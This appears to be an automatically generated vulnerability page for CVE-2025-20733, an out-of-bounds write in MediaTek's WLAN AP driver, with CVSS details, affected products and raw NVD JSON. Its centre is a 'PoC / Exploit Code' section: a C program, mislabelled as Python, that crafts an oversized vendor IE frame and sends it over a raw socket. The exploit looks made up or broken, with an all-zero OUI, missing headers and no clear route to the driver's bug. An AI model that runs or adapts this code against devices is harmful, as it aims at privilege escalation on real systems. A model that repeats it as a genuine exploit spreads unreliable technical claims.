Security Vulnerability Report
中文
CVE-2025-20733 CVSS 7.8 HIGH

CVE-2025-20733

Published: 2025-11-04 07:15:39
Last Modified: 2025-11-05 17:13:32

Description

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00441509; Issue ID: MSV-4138.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek WLAN AP Driver (未修补版本)
使用MediaTek芯片的Android设备 (受影响的固件版本)
MediaTek MTK系列芯片集成WLAN模块 (所有未安装WCNCR00441509补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-20733 PoC - MediaTek WLAN AP Driver OOB Write * This PoC demonstrates the boundary check bypass in MediaTek WLAN driver * Note: This is for educational/research purposes only * * Prerequisites: * - Local access to affected MediaTek device * - Low-privilege user account * - Ability to send crafted WLAN frames */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <netinet/in.h> // MediaTek Vendor Specific IE for triggering the vulnerability #define MEDIATEK_VENDOR_IE 0xDD #define MEDIATEK_OUI {0x00, 0x00, 0x00} // Malicious payload structure that triggers OOB write struct mt7615_malicious_frame { unsigned char ie_type; // Vendor specific IE unsigned char ie_len; // Length field unsigned char oui[3]; // OUI unsigned char subtype; // Subtype for driver code path unsigned char flags; // Control flags unsigned short payload_len; // Payload length unsigned char payload[256]; // Malicious payload } __attribute__((packed)); void craft_exploit_frame(unsigned char *buffer, int size) { struct mt7615_malicious_frame *frame = (struct mt7615_malicious_frame *)buffer; // Craft malicious vendor-specific IE frame->ie_type = MEDIATEK_VENDOR_IE; frame->ie_len = 0xFF; // Exceed expected boundary frame->oui[0] = 0x00; frame->oui[1] = 0x00; frame->oui[2] = 0x00; frame->subtype = 0x01; // Trigger vulnerable code path frame->flags = 0x00; frame->payload_len = 512; // Large payload to trigger OOB // Fill payload with controlled data memset(frame->payload, 0x41, 256); } int send_malicious_wlan_frame(const char *interface) { int sock; struct sockaddr_ll sa; // Create raw socket for WLAN frame injection sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { perror("Socket creation failed"); return -1; } unsigned char frame[1024]; memset(frame, 0, sizeof(frame)); // Craft malicious frame craft_exploit_frame(frame, sizeof(frame)); // Configure socket address memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex(interface); sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); // Send malicious frame to trigger vulnerability if (sendto(sock, frame, sizeof(frame), 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("Send failed"); close(sock); return -1; } printf("[+] Malicious frame sent to trigger CVE-2025-20733\n"); close(sock); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <interface>\n", argv[0]); fprintf(stderr, "Example: %s wlan0\n", argv[0]); return 1; } printf("[*] CVE-2025-20733 MediaTek WLAN Driver OOB Write Exploit\n"); printf("[*] Target: MediaTek WLAN AP Driver\n"); printf("[*] Interface: %s\n", argv[1]); send_malicious_wlan_frame(argv[1]); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20733", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:38.567", "lastModified": "2025-11-05T17:13:32.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00441509; Issue ID: MSV-4138."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/November-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}